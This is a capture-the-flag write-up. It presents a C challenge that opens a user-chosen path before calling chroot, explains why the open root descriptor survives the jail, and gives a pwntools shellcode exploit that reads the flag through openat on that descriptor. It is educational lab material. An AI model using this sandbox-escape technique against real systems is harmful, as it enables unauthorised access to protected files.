Escaping via Pre-opened File Descriptor
Challenge Source Code
#include <assert.h>
#include <fcntl.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/sendfile.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
int main(int argc, char **argv, char **envp) {
assert(argc > 0);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 1);
assert(argc > 1);
// Checking to make sure you're not trying to open the flag.
assert(strstr(argv[1], "flag") == NULL);
int fd = open(argv[1], O_RDONLY | O_NOFOLLOW);
char jail_path[] = "/tmp/jail-XXXXXX";
assert(mkdtemp(jail_path) != NULL);
assert(chroot(jail_path) == 0);
int fffd = open("/flag", O_WRONLY | O_CREAT);
write(fffd, "try harder", 10);
close(fffd);
void *shellcode =
mmap((void *)0x1337000, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANON, 0, 0);
assert(shellcode == (void *)0x1337000);
int shellcode_size = read(0, shellcode, 0x1000);
((void (*)())shellcode)();
}Vulnerability Analysis
The vulnerability lies in the fact that the program opens a file specified by the user (argv[1]) before applying the sandbox restrictions (chroot). File descriptors opened before a chroot call remain open and accessible inside the jail.
int fd = open(argv[1], O_RDONLY|O_NOFOLLOW);
// ...
assert(chroot(jail_path) == 0);By passing / as the argument, we can cause the program to hold a file descriptor (usually FD 3) that points to the real root directory of the host system.
Exploitation Plan
- Leak the Root FD: Run the challenge binary with
/as the first argument. This opens the hostβs root directory and assigns it to a file descriptor. - Bypass Chroot: Since we have a handle to the real root directory, we can use the
openatsyscall.openatallows opening files relative to a directory file descriptor. - Read the Flag: We will use
openat(3, "flag", ...)to open the real flag file relative to the leaked root FD (FD 3). - Output: Finally, we read the content of the flag and write it to stdout using
sendfile.
Exploit Script
The following Python script uses pwntools to automate the exploit. We leverage shellcraft to generate the shellcode for the openat and sendfile syscalls.
from pwn import *
elf = context.binary = ELF("./challenge")
# Pass '/' to leak the root FD (fd 3)
p = process([elf.path, "/"])
# Shellcraft exploit
# Since we are chrooted, we use openat with the leaked FD (3) to access the real flag.
# No seccomp, so we can use any syscall and exit normally.
sc = shellcraft.openat(3, "flag", constants.O_RDONLY)
sc += shellcraft.sendfile(1, 'rax', 0, 100)
sc += shellcraft.exit(0)
shellcode = asm(sc)
p.send(shellcode)
print(p.recvall().decode())
p.close()